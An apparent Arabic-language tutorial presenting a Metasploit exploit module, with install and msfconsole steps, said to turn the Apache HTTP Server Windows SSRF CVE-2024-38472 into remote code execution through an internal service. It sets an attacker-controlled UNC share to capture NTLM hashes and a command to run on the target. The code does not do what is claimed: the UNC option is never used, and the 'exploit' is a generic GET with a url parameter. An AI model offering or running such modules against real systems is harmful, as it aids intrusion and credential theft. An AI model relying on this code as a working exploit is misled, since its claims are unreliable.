
وحدة Metasploit التي تستغل CVE-2024-38472 (SSRF) في خادم Apache HTTP على ويندوز لتحقيق تنفيذ الأوامر عن بعد عبر التفاعل مع الخدمة الداخلية.
إن إنشاء وحدة Metasploit لتنفيذ الأكواد عن بُعد (RCE) لثغرة SSRF (CVE-2024-38472) في خادم Apache HTTP على Windows هو أمر صعب لأن SSRF بحد ذاتها لا تؤدي مباشرة إلى RCE. ومع ذلك، يمكن أن تكون SSRF غالبًا خطوة نحو تحقيق RCE، خاصة إذا كان بإمكانك استخدامها للتفاعل مع الخدمات الداخلية أو تشغيل ثغرة ثانوية.
لتحقيق RCE عبر SSRF، نحتاج عمومًا إلى:
في هذا المثال، لنفترض أننا نستطيع تشغيل خدمة ثانوية داخليًا تقبل طلبات HTTP ويمكن خداعها لتنفيذ أكواد تعسفية (مثل خادم Jenkins أو خدمة أخرى بواجهة برمجة تطبيقات مكشوفة).
سنقوم بصياغة وحدة Metasploit تحاول تحقيق RCE عن طريق استغلال SSRF للتفاعل مع خدمة داخلية. في هذه الحالة، سنمحاكاة خادم Jenkins داخلي مع وحدة تحكم برمجية مكشوفة يمكننا إساءة استخدامها لـ RCE.
احفظ الكود التالي باسم apache_unc_ssrf_rce.rb في دليل modules/exploits/multi/http لتثبيت Metasploit Framework لديك.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache HTTP Server Windows UNC SSRF to RCE',
'Description' => %q{
This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
services like Jenkins.
},
'Author' =>
[
'Your Name' # Your name or handle
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-38472'],
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Targets' => [
['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RHOSTS,
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
ssrf_payload = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'version' => '1.1',
'headers' => {
'Host' => datastore['RHOSTS'],
'Content-Type' => 'application/x-www-form-urlencoded'
},
'data' => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
}
begin
print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
res = send_request_cgi(ssrf_payload)
if res && res.code == 200
print_good("Successfully triggered the internal service")
else
print_error("Failed to trigger the internal service: #{res.inspect}")
end
rescue ::Rex::ConnectionError => e
print_error("Connection failed: #{e.message}")
rescue ::Interrupt
print_status("User interrupted the module execution")
rescue ::Exception => e
print_error("An unexpected error occurred: #{e.message}")
end
end
end
احفظ الوحدة:
احفظ الوحدة باسم apache_unc_ssrf_rce.rb في دليل modules/exploits/multi/http لتثبيت Metasploit Framework لديك.
/path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
تحميل Metasploit: ابدأ تشغيل Metasploit Framework بفتح طرفية وتشغيل:
msfconsole
استخدام الوحدة الجديدة: في وحدة تحكم Metasploit، قم بتحميل وحدة الاستغلال الجديدة باستخدام الأمر التالي:
use exploit/multi/http/apache_unc_ssrf_rce
التكوين والتشغيل:
قم بتعيين الخيارات الضرورية، مثل RHOSTS و RPORT و TARGETURI و UNC_SERVER و INTERNAL_SERVICE و CMD. ثم قم بتشغيل الوحدة.
ترسل وحدة Metasploit المحسّنة هذه طلبًا مخصصًا إلى خادم Apache HTTP الضعيف على Windows، محاولةً تشغيل ثغرة SSRF والاستفادة منها لتحقيق RCE عن طريق التفاعل مع خدمة داخلية. قم بتعديل الحمولة والوحدة حسب الحاجة بناءً على طبيعة الثغرة والبيئة المستهدفة.
msf6 > use exploit/multi/http/apache_unc_ssrf_rce
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
UNC_SERVER => \\attacker-server\share
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
INTERNAL_SERVICE => http://internal-service/script
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
CMD => calc.exe
msf6 exploit(multi/http/apache_unc_ssrf_rce) > run